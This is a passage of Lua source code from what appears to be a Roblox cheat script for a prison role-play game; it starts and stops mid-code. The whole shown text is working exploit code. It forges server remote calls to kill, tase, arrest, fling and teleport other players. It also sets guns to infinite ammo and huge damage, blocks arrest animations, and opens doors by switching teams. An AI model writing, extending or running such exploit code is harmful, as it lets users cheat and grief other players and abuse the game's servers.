LHuman.AnimationPlayed:Connect(function(des) if Toggles.AntiArrest and des.Animation.AnimationId == "rbxassetid://287112271" then des:Stop(); des:Destroy() task.delay(4.95, function() local tempos, wascriminal = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame, LocalPlayer.TeamColor.Name == "Really red" or nil; SavedPositions.AutoRe = tempos; SaveCamPos() LocalPlayer.CharacterAdded:Wait(); waitfor(LocalPlayer.Character, "HumanoidRootPart", 1).CFrame = tempos; LoadCamPos() if wascriminal then TeamTo("criminal") end end); task.delay(0, function() LAction("speed", Saved.NormalSpeed); task.wait(0.03); LAction("jumppw", Saved.NormalJump) end) end if Toggles.AntiTase and des.Animation.AnimationId == "rbxassetid://279227693" then des:Stop(); des:Destroy() Hbeat:Wait(); LAction("speed", Saved.NormalSpeed); task.wait(0.03); LAction("jumppw", Saved.NormalJump) end end) if Connections.CharacterChildAdded then Connections.CharacterChildAdded:Disconnect(); Connections.CharacterChildAdded = nil end Connections.CharacterChildAdded = lochar.ChildAdded:Connect(function(tool) if tool:FindFirstChild("GunStates") and not LocPL.ShittyExecutor then if Toggles.AutoInfiniteAmmo then local stat = require(tool.GunStates) stat.MaxAmmo = math.huge;stat.CurrentAmmo = math.huge;stat.AmmoPerClip = math.huge;stat.StoredAmmo = math.huge if not Saved.Thread.AutoInfiniteAmmo then Saved.Thread.AutoInfiniteAmmo = true;Tasks.AutoInfiniteAmmo() end end;if Toggles.AutoFire or Toggles.AutoFireRate then local sta = require(tool.GunStates) if Toggles.AutoFire and not States.SpinnyTools then sta.AutoFire = true end if Toggles.AutoFireRate then sta.FireRate = 0.01 end end;if Toggles.AutoGunMods then local stat = require(tool.GunStates) stat.Damage = 9e9 stat.FireRate = 0.01 stat.Range = math.huge stat.MaxAmmo = math.huge stat.StoredAmmo = math.huge stat.AmmoPerClip = math.huge stat.CurrentAmmo = math.huge stat.AutoFire = true stat.Bullets = 10 if not Toggles.AutoInfiniteAmmo and not States.SpinnyTools then Tasks.ReloadGun(tool, true) end end;if States.SpinnyTools then require(tool.GunStates).AutoFire = false end end end) end if LocalPlayer.TeamColor == BrickColor.new("Medium stone grey") or not LocPL.WrongGame and LocalPlayer.PlayerGui.Home.intro.Visible then Threads.HideTeamGui() end end local function oncharadded() lochar = LocalPlayer.Character or LocalPlayer.CharacterAdded:Wait() coroutine.wrap(charaddtask)() if SavedPositions.AutoRe and Toggles.AutoRespawn then local LRoot = lochar:WaitForChild("HumanoidRootPart", 1) if LRoot then LRoot.CFrame = SavedPositions.AutoRe; LoadCamPos(); LRoot.CFrame = SavedPositions.AutoRe task.spawn(function() for i = 1, 3 do task.wait(); LRoot.CFrame = SavedPositions.AutoRe end end) if wait() and not lochar:FindFirstChildWhichIsA("ForceField") then for i = 1, 4 do LRoot.CFrame = SavedPositions.AutoRe; waitfor(LocalPlayer.Character, "HumanoidRootPart", 1).CFrame = SavedPositions.AutoRe end; lochar:WaitForChild("HumanoidRootPart", 1).CFrame = SavedPositions.AutoRe deprint("Debug_Char added with no forcefield?") end end end lochar:WaitForChild("Humanoid", 1):SetStateEnabled(Enum.HumanoidStateType.FallingDown, false) lochar:WaitForChild("Humanoid", 1):SetStateEnabled(Enum.HumanoidStateType.Ragdoll, false) end diedevent = lochar:WaitForChild("Humanoid").Died:Connect(ondiedevent) Connections.CharacterAdded = LocalPlayer.CharacterAdded:Connect(oncharadded) local GiveKeyCard = function(player) if player == LocalPlayer then if workspace.Prison_ITEMS.single:FindFirstChild("Key card") then ItemHand(false, "Key card") else local oldteam, oldpos = LocalPlayer.TeamColor, LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame repeat task.wait() if LocalPlayer.TeamColor ~= BrickColor.new("Bright blue") then if #Teams.Guards:GetPlayers() > 7 then Notif("Guards Team Is Full", nil, 5) break end; TeamTo("guard") end; LAction("died") if not Toggles.AutoRespawn then TeamTo("guard") else LocalPlayer.CharacterAdded:Wait() end; wait(.1) until workspace.Prison_ITEMS.single:FindFirstChild("Key card"); LocTP(oldpos) if oldteam == BrickColor.new("Bright orange") then TeamTo("inmate") elseif oldteam == BrickColor.new("Really red") then TeamTo("criminal") end; ItemHand(false, "Key card"); ItemHand(false, "Key card"); ItemHand(false, "Key card") end else local finallykeycard = nil; local oldteam = LocalPlayer.TeamColor SavedPositions.GiveKeyCard = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame task.spawn(function() while task.wait() do for i,v in pairs(workspace.Prison_ITEMS.single:GetChildren()) do if v.Name == "Key card" and player.Character and player.Character:FindFirstChild("HumanoidRootPart") then local vpivot = v.ITEMPICKUP.Position local ppivot = player.Character:FindFirstChild("HumanoidRootPart").Position if (vpivot-ppivot).Magnitude <= 15 then finallykeycard = true break end end end if finallykeycard then break end end end) repeat task.wait() if player.Character and player.Character:FindFirstChildOfClass("Humanoid") and player.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then local temp = player.Character:FindFirstChild("HumanoidRootPart").CFrame SavedPositions.AutoRe = temp; LocTP(temp) if LocalPlayer.TeamColor ~= BrickColor.new("Bright blue") then if #Teams.Guards:GetPlayers() > 7 then finallykeycard = true break end TeamEve("Bright blue"); LocalPlayer.CharacterAdded:Wait() waitfor(LocalPlayer.Character, "HumanoidRootPart", 2).CFrame = temp; RTPing(0) end LAction("died") if Toggles.AutoRespawn then LocalPlayer.CharacterAdded:Wait(); waitfor(LocalPlayer.Character, "HumanoidRootPart", 2).CFrame = temp else TeamTo("guard") end; RTPing(0.09) else finallykeycard = true break end until finallykeycard SavedPositions.AutoRe = SavedPositions.GiveKeyCard; LocTP(SavedPositions.GiveKeyCard) if oldteam == BrickColor.new("Bright orange") then TeamTo("inmate") elseif oldteam == BrickColor.new("Really red") then TeamTo("criminal") end end end local KillPL = function(plr, events, guntouse, WaitToDie) local AK = LocalPlayer.Backpack:FindFirstChild("AK-47") or LocalPlayer.Character:FindFirstChild("AK-47") if not AK and not guntouse then Gun("AK-47") task.wait() AK = LocalPlayer.Backpack:FindFirstChild("AK-47") or LocalPlayer.Character:FindFirstChild("AK-47") elseif guntouse then AK = LocalPlayer.Backpack:FindFirstChild(guntouse) or LocalPlayer.Character:FindFirstChild(guntouse) if not AK then Gun(guntouse) task.wait() AK = LocalPlayer.Backpack:FindFirstChild(guntouse) end end if plr.Character:FindFirstChild("Humanoid").Health == 0 or plr.Character:FindFirstChildWhichIsA("ForceField") then return end local Eve = events or 10 local ShootEvents = {}; for i = 1, Eve do ShootEvents[#ShootEvents + 1] = { Hit = plr.Character:FindFirstChildOfClass("Part"); Cframe = CFrame.new(); RayObject = Ray.new(Vector3.new(), Vector3.new()); Distance = 0; }; end task.spawn(function() for i = 1, 6 do Rstorage.ReloadEvent:FireServer(AK) task.wait(.1) end end) if plr.TeamColor == LocalPlayer.TeamColor then if plr.TeamColor == BrickColor.new("Really red") or plr.TeamColor == BrickColor.new("Bright blue") then SavedPositions.AutoRe = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame SaveCamPos() TeamEve("Bright orange") Rstorage.ShootEvent:FireServer(ShootEvents, AK) task.wait(0.06) else TeamTo("criminal") Rstorage.ShootEvent:FireServer(ShootEvents, AK) end else Rstorage.ShootEvent:FireServer(ShootEvents, AK) end if WaitToDie then repeat task.wait() until not plr.Character or not plr.Character:FindFirstChildOfClass("Humanoid") or plr.Character:FindFirstChildOfClass("Humanoid").Health == 0 or plr.Character:FindFirstChildWhichIsA("ForceField") end end local GetIllegalReg = function(args) local RegPlr = nil if args.Character and RegModule then for i,v in pairs(Rstorage:FindFirstChild("PermittedRegions"):GetChildren()) do if RegModule.findRegion(args.Character) then RegPlr = RegModule.findRegion(args.Character)["Name"] end if v.Value == RegPlr then return false end end return true else return true end end local ArrestPL = function(args, savepos, isHidden) SavedPositions.ArrestPlr = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame local Timedout, readytoar = tick() + 6, tick() + CPing() LocTP(args.Character:FindFirstChild("HumanoidRootPart").CFrame) repeat task.wait() local potangina = args.Character and args.Character:FindFirstChild("Humanoid").Health == 0 local gago = args.TeamColor == BrickColor.new("Bright blue") or args.TeamColor == BrickColor.new("Medium stone grey") local hayop = args.TeamColor ~= BrickColor.new("Really red") and not GetIllegalReg(args) if potangina or gago or hayop then break end;if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid").Sit then LAction("unsit") end;if isHidden or Settings.User.HiddenArrest then LocTP(args.Character:FindFirstChild("Head").CFrame * CFrame.new(0, -12, -1)) else LocTP(args.Character:FindFirstChild("HumanoidRootPart").CFrame * CFrame.new(0, 0, -1)) end;if tick() - readytoar >=0 then task.spawn(ArrestEve, args) end until args.Character:FindFirstChild("Head"):FindFirstChild("handcuffedGui") or tick() - Timedout >= 0; Timedout = nil if savepos then if LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit then LAction("unsit", true) end;LocTP(SavedPositions.ArrestPlr) end end local ArrestEve = function(args, repeated, interval) if repeated then for i = 1, repeated do if interval then task.wait(interval) end task.spawn(function() if args.Character:FindFirstChild("Humanoid") and args.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then workspace.Remote.arrest:InvokeServer(args.Character:FindFirstChildWhichIsA("Part")) end end) end else workspace.Remote.arrest:InvokeServer(args.Character:FindFirstChildWhichIsA("Part")) end end local VirtualPunch = function(args) task.delay(0, function() if not (LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid")) then return end;for _, animationTrack in ipairs(LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):FindFirstChildOfClass("Animator"):GetPlayingAnimationTracks()) do if animationTrack.Animation.AnimationId == "rbxassetid://484200742" or animationTrack.Animation.AnimationId == "rbxassetid://484926359" then animationTrack:Stop(); animationTrack:Destroy() end end local Sapakan = math.random(1, 2);local animtoload = nil;local newAnim = Instance.new("Animation") if Sapakan == 1 then newAnim.AnimationId="rbxassetid://484200742";animtoload=LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):FindFirstChildOfClass("Animator"):LoadAnimation(newAnim) else newAnim.AnimationId="rbxassetid://484926359";animtoload=LocalPlayer.Character:FindFirstChildOfClass("Humanoid"):FindFirstChildOfClass("Animator"):LoadAnimation(newAnim) end;animtoload.Looped=false;animtoload:Play(); task.wait(animtoload.Length); newAnim:Destroy();animtoload:Stop();animtoload:Destroy();newAnim=nil;animtoload=nil;Sapakan=nil end) local LHead = LocalPlayer.Character:FindFirstChild("Head") local magnit = Toggles.PunchAura and 20 or 2.5 if not args then for i,v in pairs(Players:GetPlayers()) do if v ~= LocalPlayer then local VChar = v.Character local VHead = VChar:FindFirstChild("Head") if VHead and LHead then if (LHead.Position-VHead.Position).Magnitude <= magnit then local sound = VHead.punchSound; sound.Volume = 1; sound:Play() if Toggles.Onepunch then for i = 1, 15 do MeleEve(v) end else MeleEve(v) end; game:GetService("ReplicatedStorage").SoundEvent:FireServer(sound) if not Toggles.PunchAura then break end end end end end elseif args then local AChar = args.Character local AHead = AChar:FindFirstChild("Head") if (LHead.Position-AHead.Position).Magnitude <= magnit then local sound = AHead.punchSound; sound.Volume = 1; sound:Play() if Toggles.Onepunch then for i = 1, 15 do MeleEve(args) end else MeleEve(args) end; game:GetService("ReplicatedStorage").SoundEvent:FireServer(sound) end end if States.LoudPunch then for i,v in pairs(Players:GetPlayers()) do if v and v.Character and v.Character:FindFirstChild("Head") then local head = v.Character:FindFirstChild("Head") local vol = head.punchSound if v == LocalPlayer then vol:Play() end; Rstorage.SoundEvent:FireServer(vol) end end end end local TasePL = function(plr, args) local oldteam = nil if not (LocalPlayer.TeamColor == BrickColor.new("Bright blue")) then oldteam = LocalPlayer.TeamColor TeamTo("guard") task.wait() end local Taser = LocalPlayer.Backpack:FindFirstChild("Taser") or LocalPlayer.Character:FindFirstChild("Taser") local ShootEvents = {}; if args == "teams" then for _, tea in pairs(plr:GetPlayers()) do if (not (tea == LocalPlayer) and not (tea.TeamColor == BrickColor.new("Bright blue"))) and tea.Character and tea.Character:FindFirstChild("Humanoid") and not (tea.Character:FindFirstChild("Humanoid").Health == 0) then ShootEvents[#ShootEvents + 1] = { Hit = tea.Character:FindFirstChildOfClass("Part"); Cframe = CFrame.new(); RayObject = Ray.new(Vector3.new(), Vector3.new()); Distance = 0; }; end end elseif args == "tables" then for i,v in next, plr do if not (v == LocalPlayer) and v.Character and v.Character:FindFirstChild("Humanoid") and not (v.Character:FindFirstChild("Humanoid").Health == 0) then ShootEvents[#ShootEvents + 1] = { Hit = v.Character:FindFirstChildOfClass("Part"); Cframe = CFrame.new(); RayObject = Ray.new(Vector3.new(), Vector3.new()); Distance = 0; }; end end else if plr and plr.Character and plr.Character:FindFirstChild("Humanoid") and not (plr.Character:FindFirstChild("Humanoid").Health == 0) then ShootEvents[#ShootEvents + 1] = { Hit = plr.Character:FindFirstChildOfClass("Part"); Cframe = CFrame.new(); RayObject = Ray.new(Vector3.new(), Vector3.new()); Distance = 0; }; end end Rstorage.ShootEvent:FireServer(ShootEvents, Taser) Rstorage.ReloadEvent:FireServer(Taser) task.wait() if oldteam then if oldteam == BrickColor.new("Really red") then TeamTo("criminal") else TeamTo("inmate") end end end local FlingPlr = function() end local PunchKill = function(args, speed) local Interval = speed or 0.3 local lastpos = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame while task.wait(Interval) do if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") and LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit then LAction("unsit") end if (not Players:FindFirstChild(args.Name) or not args.Character) or args.Character:FindFirstChild("Humanoid").Health == 0 or args.TeamColor == BrickColor.new("Medium stone grey") then break end LocTP(args.Character:FindFirstChild("HumanoidRootPart").CFrame * CFrame.new(0, 0, 1.5)) VirtualPunch(args) end LocTP(lastpos) end local BringCar = function(args, usedcar, policecar) local Car = nil; local CarButton = workspace.Prison_ITEMS.buttons["Car Spawner"]["Car Spawner"] if policecar then CarButton = workspace.Prison_ITEMS.buttons:GetChildren()[4]["Car Spawner"] end; local ButtonPivot = CarButton:GetPivot() local LastPos = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame; States.IsBringing = true if usedcar then for i,v in pairs(workspace.CarContainer:GetChildren()) do if v:IsA("Model") and v:FindFirstChild("Body") and v.Body:FindFirstChild("VehicleSeat") and not v.Body.VehicleSeat.Occupant then for ii,vv in pairs(v.Body:GetChildren()) do if vv:IsA("Seat") and not vv.Occupant then Car = v break end end; if Car then break end end end; if not Car then Notif("No Cars Found", nil, 5) return end else task.spawn(function() Car = game:GetService("Workspace").CarContainer.ChildAdded:Wait() end); repeat task.wait() task.spawn(function() LAction("unsit"); LocTP(ButtonPivot); workspace.Remote.ItemHandler:InvokeServer(CarButton) end) until Car end; repeat task.wait() until Car:FindFirstChild("RWD") and Car:FindFirstChild("Body") and Car:FindFirstChild("Body"):FindFirstChild("VehicleSeat") local Stopped, timeout = false, tick() while not Stopped do task.wait() pcall(function() LocTP(CFrame.new(Car.Body.VehicleSeat.Position)) Car.Body.VehicleSeat:Sit(LocalPlayer.Character:FindFirstChild("Humanoid")) Stopped = LocalPlayer.Character:FindFirstChild("Humanoid").Sit or tick() - timeout > 6 end) end; Car.PrimaryPart = Car:WaitForChild("RWD") if args then local destiny = args == LocalPlayer and LastPos or args.Character:FindFirstChild("Head").CFrame Car:SetPrimaryPartCFrame(destiny) wait(.2); LAction("unsit", true); LocTP(LastPos) else Car:SetPrimaryPartCFrame(LastPos) end; States.IsBringing = false; Stopped = nil return Car end local TableKill = function(tables) local AK = LocalPlayer.Backpack:FindFirstChild("AK-47") or LocalPlayer.Character:FindFirstChild("AK-47") if not AK then Gun("AK-47") task.wait() end local inteam = nil local crimteam = nil local sameteam = nil local sameinmate = nil local sameguard = nil local samecrim = nil local ShootEvents = {}; for i,v in next, tables do if v.Character and not v.Character:FindFirstChildWhichIsA("ForceField") and not (v.Character:FindFirstChild("Humanoid").Health == 0) then if not Saved.KillDebounce[v.Name] then Saved.KillDebounce[v.Name] = true if v.TeamColor == LocalPlayer.TeamColor then sameteam = true if LocalPlayer.TeamColor == BrickColor.new("Bright orange") then sameinmate = true elseif LocalPlayer.TeamColor == BrickColor.new("Bright blue") then sameguard = true elseif LocalPlayer.TeamColor == BrickColor.new("Really red") then samecrim = true end end if v.TeamColor == BrickColor.new("Bright orange") then inteam = true elseif v.TeamColor == BrickColor.new("Really red") then crimteam = true end delay(1.2, function() Saved.KillDebounce[v.Name] = nil end) for i = 1, 10 do ShootEvents[#ShootEvents + 1] = { Hit = v.Character:FindFirstChildOfClass("Part"); Cframe = CFrame.new(); RayObject = Ray.new(Vector3.new(), Vector3.new()); Distance = 0; } end end end end if not ShootEvents[1] then return end AK = LocalPlayer.Backpack:FindFirstChild("AK-47") or LocalPlayer.Character:FindFirstChild("AK-47") task.spawn(function() for i = 1, 10 do Rstorage.ReloadEvent:FireServer(AK) task.wait(.1) end end) if sameteam then if ((samecrim or sameguard) and inteam) or (sameinmate and crimteam) then SavedPositions.AutoRe = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame SaveCamPos() TeamEve("Medium stone grey") Rstorage.ShootEvent:FireServer(ShootEvents, AK) task.wait(0.06) TeamEve("Bright orange") elseif (samecrim or sameguard) and not inteam then SavedPositions.AutoRe = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame SaveCamPos() TeamEve("Bright orange") Rstorage.ShootEvent:FireServer(ShootEvents, AK) task.wait(0.05) elseif sameinmate and not crimteam then TeamTo("criminal") Rstorage.ShootEvent:FireServer(ShootEvents, AK) end else Rstorage.ShootEvent:FireServer(ShootEvents, AK) end end local BringPL = function(BringFrom, Destination, isCFrame, donotusecar, dontbreakyet) if BringFrom.TeamColor == BrickColor.new("Medium stone grey") or not (BringFrom.Character and BringFrom.Character:FindFirstChildOfClass("Humanoid") and BringFrom.Character:FindFirstChildOfClass("Humanoid").Health ~= 0) then return end; if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid").Sit then LAction("unsit", true); end local Car = nil; local CarButton = workspace.Prison_ITEMS.buttons["Car Spawner"]["Car Spawner"]; local ButtonPivot = CarButton:GetPivot() if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then local LastPos = LocalPlayer.Character:FindFirstChild("HumanoidRootPart") and LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame if not (BringFrom == LocalPlayer) then repeat task.wait() for i,v in pairs(workspace.CarContainer:GetChildren()) do if v:IsA("Model") and v:FindFirstChild("Body") and v.Body:FindFirstChild("VehicleSeat") and v.Name ~= "DONOTUSECAR" and not v.Body.VehicleSeat.Occupant then for ii,vv in pairs(v.Body:GetChildren()) do if vv:IsA("Seat") and not vv.Occupant then Car = v break end end if Car then break end end end if not Car then coroutine.wrap(function() LocTP(ButtonPivot) workspace.Remote.ItemHandler:InvokeServer(CarButton) end)() end until Car if donotusecar then Car.Name = "DONOTUSECAR"; end if Car and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") and BringFrom.Character and BringFrom.Character:FindFirstChild("Torso") and BringFrom.Character:FindFirstChildOfClass("Humanoid") then repeat task.wait() until Car:FindFirstChild("RWD") and Car:FindFirstChild("Body") and Car:FindFirstChild("Body"):FindFirstChild("VehicleSeat"); States.IsBringing = true local seattimeout = tick() + 8 local LHuman, LRoot = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid"), LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") repeat task.wait() LHuman = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid"); LRoot = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") if LHuman and LRoot then LRoot.CFrame = CFrame.new(Car.Body.VehicleSeat.Position); Car.Body.VehicleSeat:Sit(LHuman) end until LHuman.Sit or tick() - seattimeout >=0; seattimeout = nil if not LHuman or not LHuman.Sit then LAction("unsit", true) States.IsBringing = false; LocTP(LastPos); Car.Name = "DONOTUSECAR" return end; if BringFrom.TeamColor == BrickColor.new("Medium stone grey") then LAction("unsit", true) States.IsBringing = false; LocTP(LastPos) return end local TargetSeat = nil for i,v in pairs(Car.Body:GetChildren()) do if v:IsA("Seat") and not v.Occupant then TargetSeat = v break end end; if not TargetSeat then LocTP(LastPos) return end local VChar = BringFrom.Character local VHuman = VChar and VChar:FindFirstChildOfClass("Humanoid") local VRoot = VChar and VChar:FindFirstChild("HumanoidRootPart") local Timeout = tick() + 17 local CarSpin, SpinRad = false, 0 task.spawn(function() Car.PrimaryPart = TargetSeat; Car:SetPrimaryPartCFrame(VRoot.CFrame * CFrame.new(0, -0.3, 0)) task.wait(4); CarSpin = true end) repeat task.wait() local step1 = CPing() / 2 / 2 / 2 if TargetSeat.Occupant and not VHuman.Sit then for i,v in pairs(Car.Body:GetChildren()) do if v:IsA("Seat") and not v.Occupant then TargetSeat = v break end end end Car.PrimaryPart = TargetSeat local Movement = Vector3.new(VRoot.Velocity.X, 0, VRoot.Velocity.Z) local Predict = (VRoot.CFrame - (Vector3.new(0, 0, -0.1) * step1)) + (Movement * (step1 * 28)) if Predict.Position.Y > 1 then if CarSpin then SpinRad += 30 Car:SetPrimaryPartCFrame(Predict * CFrame.Angles(0, math.rad(SpinRad), 0)) else Car:SetPrimaryPartCFrame(Predict) end else Car:SetPrimaryPartCFrame(LastPos) end if BringFrom.TeamColor == BrickColor.new("Medium stone grey") then break end until not LocalPlayer.Character or not LocalPlayer.Character:FindFirstChildOfClass("Humanoid") or not BringFrom.Character or not LHuman.Sit or VChar ~= BringFrom.Character or VHuman.Sit or VHuman.Health == 0 or tick() - Timeout >=0 Timeout = nil if VHuman and not VHuman.Sit then LAction("unsit", true); LocTP(LastPos); States.IsBringing = false return end if isCFrame then Car.PrimaryPart = Car:FindFirstChild("RWD"); Car:SetPrimaryPartCFrame(Destination) else Car.PrimaryPart = Car:FindFirstChild("RWD") local Destiny = Destination ~= LocalPlayer and Destination.Character:FindFirstChild("HumanoidRootPart").CFrame or LastPos Car:SetPrimaryPartCFrame(Destiny) if Destination ~= LocalPlayer and (donotusecar or not Settings.User.AutoDumpCar) then wait(.2); LAction("unsit", true); LocTP(LastPos) end end; SavedArgs.BringSuccess = true if Settings.User.AutoDumpCar and not donotusecar and not dontbreakyet then local Tinedout = tick() + 15 repeat task.wait() until VHuman.Health == 0 or not VHuman.Sit or tick() - Tinedout >=0 or not Players:FindFirstChild(BringFrom and BringFrom.Name or "nil"); Tinedout = nil if not LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit then LastPos = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame repeat task.wait() Car.Body.VehicleSeat:Sit(LocalPlayer.Character:FindFirstChildOfClass("Humanoid")) until LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit end Car.PrimaryPart = Car:FindFirstChild("RWD"); Car:SetPrimaryPartCFrame(CFrame.new(0, 9, 0)); wait(.2) LAction("unsit", true); LocTP(LastPos) end; States.IsBringing = false end else if isCFrame then LocTP(Destination) else LocTP(Destination.Character:FindFirstChild("HumanoidRootPart").CFrame) end end end end local OpenDoors = function(includeGate) local oldteam = nil if #Teams.Guards:GetPlayers() >= 8 and not (LocalPlayer.TeamColor == BrickColor.new("Bright blue")) then return elseif not (LocalPlayer.TeamColor == BrickColor.new("Bright blue")) then oldteam = LocalPlayer.TeamColor; SaveCamPos(); TeamTo("guard"); waitfor(LocalPlayer.Character, "HumanoidRootPart", 3) end; if includeGate then local laspos = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame local gate = game:GetService("Workspace")["Prison_ITEMS"].buttons["Prison Gate"]["Prison Gate"] for i = 1, 4 do LocTP(gate:GetPivot()) workspace.Remote.ItemHandler:InvokeServer(gate) end; LocTP(laspos) end; local hascollision = {} for i,v in pairs(workspace.Doors:GetChildren()) do if v:IsA("Model") then local pivot = v:GetPivot(); v:PivotTo(LocalPlayer.Character:GetPivot()) for _,vv in pairs(v:GetDescendants()) do if vv:IsA("BasePart") and vv.CanCollide then hascollision[vv] = true; vv.CanCollide = false end end; task.delay(0, function() v:PivotTo(pivot) for _,vv in pairs(v:GetDescendants()) do if vv:IsA("BasePart") and hascollision[vv] then vv.CanCollide = true end end end) end end; RTPing(0.03) if oldteam then wait(2); SaveCamPos() if oldteam == BrickColor.new("Really red") then TeamTo("criminal") elseif oldteam == BrickColor.new("Bright orange") then TeamTo("inmate") end end end local FlingPL = function(args) local tempos = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame for _,v in next, LocalPlayer.Character:GetChildren() do if v:IsA("BasePart") then v.CanCollide = false v.Massless = true end end local tempo = args.Character:FindFirstChild("HumanoidRootPart").CFrame; LocTP(tempo) local val = Toggles.Noclip; Toggles.Noclip = true local tempcon = Stepped:Connect(function(step) step = step - game.Workspace.DistributedGameTime local aRoot, lRoot = args.Character and args.Character:FindFirstChild("HumanoidRootPart"), LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") if aRoot and lRoot then tempo = aRoot.CFrame + (aRoot.Velocity * (step * 28)) if tempo.Position.Y > 1 then lRoot.CFrame = tempo end end end); task.delay(0.35, function() if args.Character and args.Character:FindFirstChild("Head") and args.Character.Head.Position.Y < 699 then VKeyPress("C", "Press") end end); task.delay(0.05, function() LocalPlayer.Character.PrimaryPart.Velocity = Vector3.new(0, 131111, 0) end) local timeout = tick() + 10 repeat task.wait() local root = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") if root then root.CFrame = tempo.Position.Y > 1 and tempo or CFrame.new(0, 100, 0) if root.Velocity.Y < 6999 then root.Velocity = Vector3.new(0, 1e6, 0) end end local human = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") if human and human.Sit then human.Sit = false end if not Players:FindFirstChild(args.Name) then break end until tick() - timeout >=0 or (args.Character and args.Character:FindFirstChild("Head") and (args.Character.Head.Position.Y > 699 or args.Character.Head.Position.Y < 1)) tempcon:Disconnect(); tempcon = nil; timeout = nil; Toggles.Noclip = val local tick1 = tick() + 2 local seat = game:GetService("Workspace"):FindFirstChildWhichIsA("Seat", true) local LHuman = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") if seat.Occupant and not LHuman.Sit then for i,v in next, workspace:GetDescendants() do if v:IsA("Seat") and not v.Occupant then seat = v; break end end end repeat LHuman = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") if LHuman and seat then seat:Sit(LHuman) end if LocalPlayer.Character.PrimaryPart then LocalPlayer.Character.PrimaryPart.Velocity = Vector3.new(0, 0, 0) end task.wait() until LHuman.Sit or tick() - tick1 >=0; task.wait() for i = 1, 9 do Stepped:Wait() LHuman.Sit = false; LocalPlayer.Character.PrimaryPart.Velocity = Vector3.new(0, 0, 0); LocTP(tempos) end; Hbeat:Wait(); LHuman.Sit = false; LocTP(tempos) tempos = nil; tick1 = nil; LHuman = nil end local CarFlingPL = function(args) local tempos = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame BringPL(args, args.Character:FindFirstChild("HumanoidRootPart").CFrame, true, true) local char = LocalPlayer.Character local bv, bg = Instance.new("BodyVelocity", char.HumanoidRootPart), Instance.new("BodyGyro", char.HumanoidRootPart) for i = 1, 10 do bv.MaxForce = Vector3.new(9e9, 9e9, 9e9); bg.MaxTorque = Vector3.new(9e9, 9e9, 9e9) bg.CFrame = bg.CFrame * CFrame.new(math.random(69, 699999), math.random(69, 6966868), math.random(6996, 66886)); bv.Velocity = Vector3.new(math.random(69, 699), 1e6, math.random(69, 699)) Stepped:Wait() end; Stepped:Wait(); Hbeat:Wait() Tasks.Refresh(nil, tempos) end local MeleeKill = function(args, savepos, isHidden) if savepos then SavedPositions.MeleeKill = LocalPlayer.Character:FindFirstChild("HumanoidRootPart").CFrame end local LHead, VHead = LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Head"), args.Character and args.Character:FindFirstChild("Head") local VHuman, VRoot = args.Character and args.Character:FindFirstChildOfClass("Humanoid"), args.Character and args.Character:FindFirstChild("HumanoidRootPart") if LHead and VHead and VHuman and VHuman.Health ~= 0 then LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit = false if not (isHidden or Settings.User.HiddenMelee) then if VRoot and not Saved.MKillDebounce[args.Name] then local daping = CPing(); LocTP(VRoot.CFrame); Saved.MKillDebounce[args.Name] = true task.spawn(function() RTPing(daping*2); Saved.MKillDebounce[args.Name] = nil end); Rstep:Wait(); LocTP(VRoot.CFrame); wait() for i = 1, 10 do MeleEve(args); end wait(0.030); LocTP(VRoot.CFrame) for i = 1, 10 do MeleEve(args); end wait(0.030); LocTP(VRoot.CFrame) for i = 1, 10 do MeleEve(args); end Rstep:Wait(); LocTP(VRoot.CFrame) for i = 1, 10 do MeleEve(args); end end; wait() else local timeout = tick() + 6 repeat task.wait() if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Humanoid") and LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit then LAction("unsit") end; if args.Character and args.Character:FindFirstChildOfClass("Humanoid") and not args.Character:FindFirstChild("ForceField") then if args.Character:FindFirstChildOfClass("Humanoid").Health ~= 0 then if args.Character:FindFirstChild("Humanoid").Sit then LocTP(VHead.CFrame * CFrame.new(0, -8, 0)) else LocTP(VHead.CFrame * CFrame.new(0, -12, 0)); end else break; end else break end; for i = 1, 10 do MeleEve(args) end until tick() - timeout >=0 end end; if savepos then LocalPlayer.Character:FindFirstChildOfClass("Humanoid").Sit = false; LocTP(SavedPositions.MeleeKill) end end local MakeCrim = function(args, 